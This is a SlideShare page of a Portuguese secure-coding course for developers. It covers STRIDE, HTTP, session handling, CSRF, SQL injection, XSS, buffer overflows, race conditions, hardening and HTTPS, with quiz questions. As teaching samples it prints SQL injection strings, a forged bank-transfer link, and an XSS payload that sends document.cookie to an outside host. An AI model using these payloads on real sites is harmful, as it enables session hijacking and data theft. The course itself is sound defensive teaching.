TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...tdc-globalcode
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Helder da Rocha
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 

Semelhante a Desenvolvimento seguro - WorkSec 2019 (20)

Segurança em PHP
Segurança em PHPSegurança em PHP
Segurança em PHP
 
Explorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemExplorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometem
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top Ten
 
OWASP Top Ten
OWASP Top TenOWASP Top Ten
OWASP Top Ten
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Aula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebAula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação Web
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de Dados
 
Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Saindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webSaindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações web
 
Segurança J2EE
Segurança J2EESegurança J2EE
Segurança J2EE
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7
 
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
 
V SEGINFO - “Auditoria de Aplicações Web”
V SEGINFO - “Auditoria de Aplicações Web”V SEGINFO - “Auditoria de Aplicações Web”
V SEGINFO - “Auditoria de Aplicações Web”
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 

Mais de Alcyon Ferreira de Souza Junior, MSc

SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...Alcyon Ferreira de Souza Junior, MSc
 
7 segredos para a criação de malware - Campus Party Brasil 2018
7 segredos para a criação de malware - Campus Party Brasil 20187 segredos para a criação de malware - Campus Party Brasil 2018
7 segredos para a criação de malware - Campus Party Brasil 2018Alcyon Ferreira de Souza Junior, MSc
 
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...Alcyon Ferreira de Souza Junior, MSc
 
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...Alcyon Ferreira de Souza Junior, MSc
 

Mais de Alcyon Ferreira de Souza Junior, MSc (20)

Defensive programming - MindTheSec São Paulo 2019
Defensive programming - MindTheSec São Paulo 2019Defensive programming - MindTheSec São Paulo 2019
Defensive programming - MindTheSec São Paulo 2019
 
Dica 01 - Hash de Senhas e sua utilização Segura
Dica 01 - Hash de Senhas e sua utilização SeguraDica 01 - Hash de Senhas e sua utilização Segura
Dica 01 - Hash de Senhas e sua utilização Segura
 
Mapa mental de Desenvolvimento seguro de software
Mapa mental de Desenvolvimento seguro de softwareMapa mental de Desenvolvimento seguro de software
Mapa mental de Desenvolvimento seguro de software
 
A nova onda da Segurança Cibernética e seus times coloridos
A nova onda da Segurança Cibernética e seus times coloridosA nova onda da Segurança Cibernética e seus times coloridos
A nova onda da Segurança Cibernética e seus times coloridos
 
Como hackear tudo! na Campus Party BSB 2
Como hackear tudo! na Campus Party BSB 2Como hackear tudo! na Campus Party BSB 2
Como hackear tudo! na Campus Party BSB 2
 
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
 
7 segredos para a criação de malware - Campus Party Brasil 2018
7 segredos para a criação de malware - Campus Party Brasil 20187 segredos para a criação de malware - Campus Party Brasil 2018
7 segredos para a criação de malware - Campus Party Brasil 2018
 
7 segredos sobre o PenTest e software livre - VI Engitec
7 segredos sobre o PenTest e software livre - VI Engitec 7 segredos sobre o PenTest e software livre - VI Engitec
7 segredos sobre o PenTest e software livre - VI Engitec
 
PenTest com Kali linux - VI Engitec
PenTest com Kali linux - VI EngitecPenTest com Kali linux - VI Engitec
PenTest com Kali linux - VI Engitec
 
Google hacking e SQL Injection: Tudo junto e misturado!
Google hacking e SQL Injection: Tudo junto e misturado!Google hacking e SQL Injection: Tudo junto e misturado!
Google hacking e SQL Injection: Tudo junto e misturado!
 
Red Teaming and Alternative Analysis
Red Teaming and Alternative AnalysisRed Teaming and Alternative Analysis
Red Teaming and Alternative Analysis
 
PenTest com Kali Linux - Palestra na UPIS 2014
PenTest com Kali Linux - Palestra na UPIS 2014PenTest com Kali Linux - Palestra na UPIS 2014
PenTest com Kali Linux - Palestra na UPIS 2014
 
Segurança da Informação na era do software livre - Volday III
Segurança da Informação na era do software livre - Volday IIISegurança da Informação na era do software livre - Volday III
Segurança da Informação na era do software livre - Volday III
 
Pentest com Kali Linux - LatinoWare 2015
Pentest com Kali Linux  - LatinoWare 2015Pentest com Kali Linux  - LatinoWare 2015
Pentest com Kali Linux - LatinoWare 2015
 
Palestra alcyon junior - LatinoWare 2016
Palestra alcyon junior - LatinoWare 2016Palestra alcyon junior - LatinoWare 2016
Palestra alcyon junior - LatinoWare 2016
 
7 segredos para a criação de malware - LatinoWare 2017
7 segredos para a criação de malware - LatinoWare 20177 segredos para a criação de malware - LatinoWare 2017
7 segredos para a criação de malware - LatinoWare 2017
 
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
 
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
 
Pentest com BackTrack - Campus Party Brasil 2013
Pentest com BackTrack - Campus Party Brasil 2013Pentest com BackTrack - Campus Party Brasil 2013
Pentest com BackTrack - Campus Party Brasil 2013
 
Google Hacking e SQL Injection: Tudo junto e misturado!
Google Hacking e SQL Injection: Tudo junto e misturado!Google Hacking e SQL Injection: Tudo junto e misturado!
Google Hacking e SQL Injection: Tudo junto e misturado!
 

Desenvolvimento seguro - WorkSec 2019

  • 1.
  • 2. O objetivo deste curso é capacitar os treinandos em Codificação Segura – Fundamentos, com habilidades e conhecimento em Secure Programming - Foundation. Objetivo do Curso “A revolução começa com a informação e termina com o resultado." (Bernardo Morais) Público-Alvo  Todos que desejam ter conhecimento em Fundamentos de Programação Segura  Todos que tenham interesse no desenvolvimento de softwares seguros e auditores que irão trabalhar com o Framework Secure Software.
  • 3. Alcyon Junior Head of Cyber Security na POUPEX Três graduações Redes de Computadores Pós em Redes pela Cisco | MBA em Governança de TI | Pós em CyberSecurity Mestrado em Segurança Cibernética Autor de livros sobre Segurança Cibernética EHF | ISO27002 | ITILF | CNAP | CEH | MVM | LPIC-1 Instrutor credenciado pela EXIN e Líder da OWASP BSB #WHOAMI
  • 5. Autor do capítulo 19 Configurações de segurança
  • 6.
  • 7. DISCLAIMER The information contained in this document may be privileged and confidential and protected from disclosure. If the reader of this document is not the intended recipient, or an employee agent responsible for delivering this document to the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited.
  • 9. Objetivos Reconhecer a tensão entre as exigências do mercado e a segurança Explicar o jargão de segurança e STRIDE Descrever questões de segurança HTTP Explicar o modelo de segurança do navegador
  • 10. Hackers roubaram dados de mais de 2 milhões de clientes da T-Mobile Dados capturados: nome, e-mail, código postal, número de telefone, e tipo das contas (pré ou pós-pago). detectado e contido na segunda-feira, dia 20 3% da base de 77 milhões de clientes foi afetada hackers – parte de um “grupo internacional” – utilizaram uma API para acessar o servidor de dados, que foi desativada rapidamente. houve o comprometimento de um domínio interno de acesso restrito a funcionários. O domínio estava respondendo requisições vindas da internet com informações confidenciais. Faltava um sistema de controle de borda que validasse as comunicações
  • 11. 11
  • 12. 12
  • 13. 13
  • 14. Causas do Software Inseguro • Falta de tempo ou falta de dinheiro • O cliente não solicitou • Falta de conhecimento • Más Intenções • Ninguém vai querer invadir o meu software
  • 15. O que é Segurança? A Segurança pode ser definida como a proteção contra ameaças Jargões de Segurança Fraqueza Uma construção errada que pode prejudicar o sistema e reduzir a segurança. Vulnerabilidade Uma fraqueza que pode ser explorada. Explorar Abusar de uma vulnerabilidade específica, tirar proveito com más intenções de alguma falha específica do sistema. Ataque Uma tentativa de abusar do sistema, uma tentativa de acesso sem autorização a um sistema. Ameaça Um potencial ataque. Mitigar Uma medida para diminuir o impacto da ameaça. Patch ou Remendo Uma medida para remover a vulnerabilidade de um sistema, corrigir uma falha de um sistema. Risco Uma potencial perda de valor, usualmente expressada como a probabilidade do impacto de perder onde se poderia ganhar.
  • 16. Propriedades de Segurança São propriedades de Segurança Autenticação Verifica a identidade, se a pessoa ou algo é realmente quem alega ser. Integridade a informação deve manter as características originais estabelecidas pelo dono da informação. Não repúdio impossibilidade de negar a autoria em relação a uma transação feita. Confidencialidade o acesso deve ser realizado apenas por pessoas autorizadas. Disponibilidade a informação deve estar sempre disponível a usuários autorizados. Autorização verifica os privilégios, se a pessoa ou algo tem permissão para acessar algum recurso ou informação.
  • 17. STRIDE S Spoofing Forjamento de Identidade Fingir ser alguém ou algo que você não é Autenticação A2-Broken Authentication and Session Management; A3-Cross-Site Scripting (XSS) T Tampering Adulteração de Dados Modificar dados armazenados ou dados em trânsito Integridade A1-Injection; A3-Cross-Site Scripting (XSS); A4- Insecure Direct Object References; A6- Sensitive Data Exposure R Repudiation Rejeição Negar que fez ou não fez algo Não Repúdio AA2-Broken Authentication and Session Management; A10-Unvalidated Redirects and Forwards I Information Discosure Divulgação de Informações Ver informações que você não está permitido a ver Confidencialidade A1-Injection; A3- Cross-Site Scripting (XSS); A4- Insecure Direct Object References; A6- Sensitive Data Exposure D Denial of Service Recusa de Serviço Negar um serviço, deixar o sistema indisponível. Disponibilidade A5-Security Misconfiguration; A9- Using Components with Known Vulnerabilities E Elevation of Privilege Elevação de Privilégio Fazer algo sem permissão Autorização A2-Broken Authentication and Session Management; A7- Missing Function Level Access Control; A8- Cross-Site Request Forgery (CSRF)
  • 18. Superfície de Ataque e Zonas Confiáveis Superfície de Ataque Zona de Confiança Limite de Confiança Defesa em Profundidade administra o risco, de modo que se uma camada de defesa é inadequada, outra camada de defesa irá impedir a violação completa. Falha Segura configura o tratamento de possíveis falhas do sistema que tratam os possíveis erros que o software venha a ter.
  • 19. Protocolo HTTP O HTTP é um protocolo que consiste em requisição e resposta. Possui dois métodos principais que são:  GET: é destinado a operações de leitura  POST: modifica o estado do aplicativo O padrão HTTP não e claro em certos aspectos. Isso pode levar a equívocos. Este problema é chamado de Poluição de Parâmetro ou HPP - HTTP Parameter Pollution. São falhas no processo de validação da entrada de dados
  • 20. Protocolo HTTP Código 404 – recurso não encontrado Código 401 – janela de login Código 403 – acesso proibido Código 302 – redireciona a página para a URL especificada no cabeçalho “Location” Código 200 – tudo ok As solicitações AJAX funcionam como uma solicitação assíncrona dentro do navegador, usa o XMLHttpRequest para se comunicar com os scripts do lado do servidor. Enviam o seguinte cabeçalho: X-Request-With: XmlHttpRequest
  • 21. GET http://localhost/insecure/public/Login.jsp?login=admin&pass admin HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Gecko/20100101 Firfox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q0.9,*/*;q0 .8 Accept-Language: en-us,en;q0.5 Proxy-Connection: keep-alive Referer: http://localhost/insecure/public/Login.jsp Cookie: JSESSIONID=73A4496C2B6C846B5E8D8C9DDDBD9D24 GET é mais rápido, envia somente texto, anexada à própria URL, tem uma limitação de 255 caracteres Solicitação GET
  • 22. Cabeçalho de Resposta HTTP Content-Type X-Content-Type-Options Content-disposition Location WWW-Authenticate Set-Cookie Cache-control Ataque de Divisão de Resposta HTTP CRLF é um caractere de avanço de linha. Uma CRLF dupla irá incluir uma linha em branco e pode permitir um ataque de injeção de cabeçalho HTTP Ataque de Injeção de Cabeçalho HTTP Técnica maliciosa que redireciona para sequestrar a sessão e roubar a informação ou ainda injetar códigos no computador da vítima.
  • 23. SOP – Política de Mesma Origem Política de Mesma Origem ou Same Origin Policy - SOP • Descreve sob quais condições scripts e programas em sites podem acessar o conteúdo em outros sites. • Os detalhes desta política diferem por navegadores e até por versão dos navegadores.
  • 24. Revisão Jargões e Princípios de Segurança STRIDE Superfícies de Ataque e Zonas de Ataque Defesa em Profundidade e Falhar Seguro GET e POST HTTP e Códigos de Status Cabeçalho HTTP Ataques no Cabeçalho de Resposta HTTP Política de Mesma Origem
  • 25. Exercícios A que se refere a letra ‘S’ do acrônimo STRIDE ? A. Divulgação de Informações B. Segurança da Informação C. Forjamento de Identidade D. Recusa de Serviço
  • 27. Objetivos • Identificar problemas envolvidos no uso de senha. • Aplicar princípios de gerenciamento de senhas. • Explicar como funciona o gerenciamento de sessão. • Reconhecer problemas em gerenciamento de sessão. • Reconhecer as melhores soluções para problemas em gerenciamento de sessão. • Reconhecer problemas e soluções de CSRF e Clickjacking.
  • 28. Senhas • Entropia da Senha • Senhas longas versus senhas complexas • Mitigações • Tentativas de Autenticação • Atraso • Bloqueio de conta • Armazenamento de Senha
  • 29. Gerenciamento de sessão Logon Entrar Início da Sessão  Longa ID de sessão  Sem reuso de ID de sessão  Enviar cookies via canal encriptado Atualiza Sessão Direto após o log-on Invalida a sessão anterior Logout Sair Invalida a sessão
  • 30. CSRF e Clickjacking • Cross-Site Request Forgery (CSRF) ou Falsificação de Solicitação Cruzada entre Sites; • Clickjacking; WebSite Malicioso
  • 31. CSRF <form action="transfer.do" method="GET"> <input type="text" name="acct" value="BETO"> <input type="text" name="amount" value="100"> </form>
  • 32. CSRF GET /transfer.do?acct=BETO&amount=100 HTTP/1.1 Host: bank.com (...) GET /transfer.do?acct=BETO&amount=50 HTTP/1.1 Host: bank.com (...)
  • 33. CSRF GET /transfer.do?acct=HACKER&amount=500 HTTP/1.1 Host: bank.com (...) Para explorar a vulnerabilidade, o atacante prepara um link específico para tirar vantagem desta transação: http://bank.co/transfer.do?acct=HACKER&amount=500
  • 36. Exercício O que mais se aproxima ao conceito de Clickjacking: A. Roubo de Senhas de autenticação por força bruta; B. Acontece quando o invasor prepara uma armadilha e utiliza CSS ou JavaScript para fazer com que a vítima clique em algo que não tem intenção, ocasionando um furto de cliques; C. Ocorre quando um site realiza uma solicitação ou uma referência cruzada em outro site sem o consentimento do usuário; D. Método utilizado para invalidar uma sessão ativa em HTTP;
  • 38. Objetivos • Reconhecer os problemas de ataques de injeção. • Explicar a diferença entre consultas diretas e parametrizadas. • Aplicar soluções para ataques de injeção SQL. • Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist). • Aplicar validação de entrada. • Reconhecer quando aplicar normalização de entrada e codificação. • Identificar onde ocorrem estouros de buffer e como eles impactam a segurança. • Reconhecer a diferença entre ataques XSS refletidos e armazenados e as mitigações. • Aplicar soluções para ataques XSS.
  • 39. Ataques de injeção – injeção de SQL SELECT * FROM Users WHERE Username='$username' AND Password='$password' 1' or '1' = '1 1' or '1' = ‘1 Resultado da Query: SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
  • 40. Ataques de injeção – injeção de SQL DEMO
  • 41. Ataques de injeção – injeção de SQL http://192.168.15.51/cgi- bin/badstore.cgi?searchquery=1%27%3D%270%27+UNION+ SELECT+1%2C+1%2C+1%2C+1+from+userdb+%23+&action=se arch&x=0&y=0 1'='0' UNION SELECT 1, 1, 1, 1 from userdb #
  • 42. • Não use SQL dinâmico quando puder ser evitado: use instruções preparadas, consultas parametrizadas ou procedimentos armazenados, sempre que possível. • Atualização e correção: vulnerabilidades em aplicativos e bancos de dados que hackers podem explorar usando SQL injection são regularmente descobertas, por isso é vital aplicar patches e atualizações assim que possível. • Reduza sua superfície de ataque: Livre-se de qualquer funcionalidade de banco de dados que você não precise impedir que um hacker tire vantagem disso. Por exemplo, o procedimento armazenado estendido xp_cmdshell no MS SQL gera um shell de comando do Windows e passa uma cadeia para execução, o que pode ser muito útil para um hacker. O processo do Windows gerado por xp_cmdshell tem os mesmos privilégios de segurança que a conta de serviço do SQL Server. • Use os privilégios apropriados: não se conecte ao seu banco de dados usando uma conta com privilégios de nível de administrador, a menos que haja algum motivo convincente para fazê-lo. Usar uma conta de acesso limitado é muito mais seguro e pode limitar o que um hacker é capaz de fazer. 4 dicas para mitigar os Ataques de SQLi
  • 43. Validação de entrada • Lista negra • Lista branca
  • 44. Estouros de buffer ou Transbordamento de Buffer #include <stdio.h> #include <stdlib.h> #define BUFLEN 80 void doit(int offset) { char buffer[BUFLEN]; gets(&buffer[offset]); /* do more */ } int main(void) { doit(0); return 0; }
  • 45. O Cross-Site-Scripting ou Script Cruzado entre Sites (XSS) Hacker Vítima Seu site Browser/app /WWW Infecta com script Explora Visita Injeta script Explora
  • 46. Ataques de XSS <script>alert("HaCkEd by AlcyJones")</script> <script>new Image() .src="http://192.168.1.10/alcyonjones.php?output=" +document.cookie;</script>
  • 47. Revisão Ataques de SQL Injection Validação de Entrada Estouro de Buffer XSS
  • 48. Exercícios – Soluções para SQL Injection Qual destas alternativas não é uma solução possível para evitar ataques de SQL Injection? A. Realizar consultas parametrizadas; B. Utilizar a técnica de saída para neutralizar meta- caracteres; C. Realizar a validação de entrada; D. Realizar um CSRF;
  • 49. Exercício - Validação de Entrada Quais destes não é um método aplicável à validação de entrada? A. Lista Branca e Lista Preta B. Higienização C. Buffer Overflow ou Transbordamento de Buffer. D. Usar expressões regulares
  • 50. Exercício O cross-site scripting ou XSS ou script cruzado entre sites é um ataque onde um invasor pode executar um JavaScript na saída. Qual destes não é um tipo de XSS? A. XSS de Transbordamento de Pilha; B. XSS Refletido; C. XSS Armazenado; D. XSS baseado em DOM;
  • 52. Objetivos Reconhecer a diferença entre autorização horizontal e vertical. Reconhecer a diferença entre referências diretas e indiretas. Reconhecer envenenamento de sessão e condições de corrida.
  • 53. Autorização de horizontal e Vertical Editor Jornalista A Jornalista B Criar X √ √ Leitura √ √ √ Modificar √ √ √ Publicar √ X X
  • 54. Problemas de Autorização Escalonamento de Privilégios; Acesso a Objetos Não Autorizados; Como mitigar estes problemas?
  • 55. Condições de corrida (ataque TOCTOU) if (!access("/tmp/mydata.txt",W_OK)) { // TOC: verifica se tem permissões de escrita // ... // JANELA DE ATAQUE f = fopen("/tmp/mydata.txt","w+"); // TOU: abre o arquivo para edição write_data_to_file(f); } else { fprintf(stderr,“Não é permitido abrir o arquivo!n"); }
  • 56. Revisão Autorização Horizontal e Vertical Escalada de Privilégios Problemas de Autorização e Como Mitigar estes Problemas Condições de Corrida Envenenamento de Sessão
  • 57. Exercício Qual a diferença entre Autorização e Autenticação? A. Autorização é o processo de verificar a identidade de alguém e Autenticação é o processo de verificar se alguém tem permissão para realizar uma operação. B. Autenticação é o processo de verificar a identidade de alguém e Autorização é o processo de verificar se alguém tem permissão para realizar uma operação. C. Autenticação e Autorização são processos para verificar a identidade de alguém. D. Autenticação e Autorização são processos para verificar se alguém tem permissão para realizar uma operação.
  • 58. MÓDULO CONFIGURAÇÃO, MANEJO E REGISTRO DE ERROS
  • 59. Objetivos Justificar a necessidade de endurecimento. Reconhecer métodos de endurecimento. Reconhecer diferentes vazamentos de informação. Explicar a importância do registro para a segurança. Explicar o princípio de 'Falhar com Segurança'. Reconhecer ataques por recusa de serviço e mitigações.
  • 60. Componentes de Terceiros, Configuração e Endurecimento Aplicando os patches ou correções de segurança mais recentes Restringir o acesso a funcionalidades perigosas Configurando privilégios de acesso Desativar ou remover recursos de depuração (debug) Removendo arquivos desnecessários Alterando senhas padrão
  • 61. Vazamentos de informações • Inocente? • Não ajude o hacker. • Exemplos de vazamento: • Comentários HTML • Informações sobre a versão • Rastreamento de Pilha, IP e servidores em Produção • Endereços de e-mail pessoais
  • 62. Como evitar definitivamente o Vazamentos de informações • Os cabeçalhos de resposta HTTP vazam informações de versão, permitindo ao invasor procurar por vulnerabilidades específicas. • As páginas de erro pode exibir exatamente como o erro aconteceu, dando ao atacante pistas de como a vulnerabilidade poderia ser explorada. • Endereços IP internos e caminhos de servidores ajudam o atacante a definir novas metas depois que um sistema tenha sido comprometido ou se o atacante usa o browser de alguém para realizar ataques de dentro. • Comentários nas páginas HTML mostrando os nomes e emails ajudam a realizar o ataque de engenharia social. • Arquivos de gerenciamento de versão podem vazar informações do código fonte da aplicação.
  • 63. Manejo e Registro de erros • Falhar de forma segura! • Guarde todas as informações necessárias para detectar um ataque. (Logs) • Tratamento de Erros • Registro de Erros ou Logs
  • 64. Recusa de Serviço (Distribuído) - dDoS Hacker Vitima
  • 65. 5 dicas para mitigar o dDos •Mitigar: - Limitar a quantidade de recursos que podem ser alocados - Utilizar ferramentas que auxiliam contra o DoS ou DDoS - Aplicar patches de segurança - Limitar o tamanho da banda - Construir um plano de contingência
  • 66. Revisão Configuração Endurecimento Vazamento de informações Registro e Tratamento de Erros Negação de Serviço, DOS ou DDoS
  • 67. Exercício Qual a diferença entre Autorização e Autenticação? A. Autorização é o processo de verificar a identidade de alguém e Autenticação é o processo de verificar se alguém tem permissão para realizar uma operação. B. Autenticação é o processo de verificar a identidade de alguém e Autorização é o processo de verificar se alguém tem permissão para realizar uma operação. C. Autenticação e Autorização são processos para verificar a identidade de alguém. D. Autenticação e Autorização são processos para verificar se alguém tem permissão para realizar uma operação.
  • 68. Exercício Qual das alternativas lista um meio de endurecimento, visando reduzir a superfície de ataque de um software ? A. Evitar aplicar patches ou pacotes de correção; B. No caso de erro, exibir registro com todos os IPs utilizados, inclusive dos servidores de produção internos; C. Alterar senhas padrão; D. Manter acesso as funcionalidades perigosas ou desnecessárias.
  • 70. Objetivos Explicar a importância do Princípio de Kerckhoff, Manejo de Chaves e Aleatoriedade. Descrever a criptografia de chave pública, ataques de homem do meio e certificados. Reconhecer as ameaças a SSL/TLS/HTTPS. Aplicar HTTPS corretamente.
  • 71. Princípio de Kerckhoff Um bom algoritmo de criptografia não deve depender do sigilo do próprio algoritmo. A única parte que precisa ser secreta é a chave. Auguste Kerckhoffs, 1883
  • 73. HTTPS
  • 74. Revisão Criptografia Simétrica e Assimétrica Chave pública e chave privada Ataque Homem-do-Meio ou Man-In-The-Midde Certificado Digital HTTPS HSTS
  • 75. Exercício Como aplicar corretamente o HTTPS? Escolha uma das alternativas: A. Utilizar sempre a criptografia mais forte possível (CIPHER – CIFRA); B. Permitir tanto o uso do HTTP quanto do HTTPS; C. Implementar a verificação do certificado, verificar se a autoridade que emitiu o certificado não está comprometida, se a chave não está comprometida, se o certificado não foi revogado; D. Ignorar os alertas e mensagens de certificado inválido;
  • 77. Objetivos Identificar requisitos de segurança em falta. Reconhecer ambiguidades e pressupostos ocultos em determinadas condições e contextos. Reconhecer ameaças que são inerentes a uma arquitetura específica. Reconhecer soluções adequadas a ameaças e as imperfeições nessas soluções. Reconhecer o escopo, objetivo e vantagens da revisão de código para as práticas de desenvolvimento. Lembrar diferentes métodos para testes de segurança. Reconhecer o melhor teste para um determinado cenário. Identificar formas de melhorar o desenvolvimento de software e processos de testes, incorporando resultados de testes.
  • 78. Requisitos de segurança • Sua Importância • STRIDE
  • 79. #DICA – STRIDE para Requisito de Seg S Forjamento de Identidade / Requisito de Segurança Autenticação, uso de senhas T Adulteração de Dados / Requisito de Segurança Integridade, manipulação ou validação de entrada R Rejeição / Requisito de Segurança Não rejeição, registro I Divulgação de Informações / Requisito de Segurança Confidencialidade, criptografia D Recusa de Serviço / Requisito de Segurança Disponibilidade, limitar o consumo de recursos E Elevação de Privilégios / Requisito de Segurança Autorização, realizar verificações de autorização
  • 80. Design Seguro Group member Group member Group administrator Group administrator Web server Web server Mobile app Mobile app System administratorSystem administrator Mobile app Mobile app GUI events GUI events SOAP HTTP responses HTTP requests SOAP SQL AgentAgent ProcessProcessDatabase Data store Data flow
  • 81. Codificação Segura • Enumeração das Fraquezas Comuns de Projetos • Revisões de Código • Ferramentas de Análise Estática
  • 82. Testes de Segurança Testes de penetração; Testes de abuso; Varreduras de vulnerabilidade; Fuzzing; Testes de Feedback;
  • 83. Revisão Requisitos de Segurança Design Seguro Codificação Segura Testes de Segurança
  • 84. Exercício Quais destes é uma técnica de Teste de Segurança que pode gerar uma grande quantidade de dados de testes, executar os testes a partir dos dados gerados, monitorar os resultados e reestabelecer o sistema em caso de falha? A. Teste de Penetração B. Teste de Abuso C. Teste de Feedback D. Fuzzing
  • 85. VAMOS PENSAR UM POUCO? “- aquele que conhece o inimigo e a si mesmo, lutará cem batalhas sem perigo de derrota; - para aquele que não conhece o inimigo, mas conhece a si mesmo, as chances para a vitória ou para a derrota serão iguais; - aquele que não conhece nem o inimigo e nem a si próprio, será derrotado em todas as batalhas.” SunTzu (A arte da Guerra)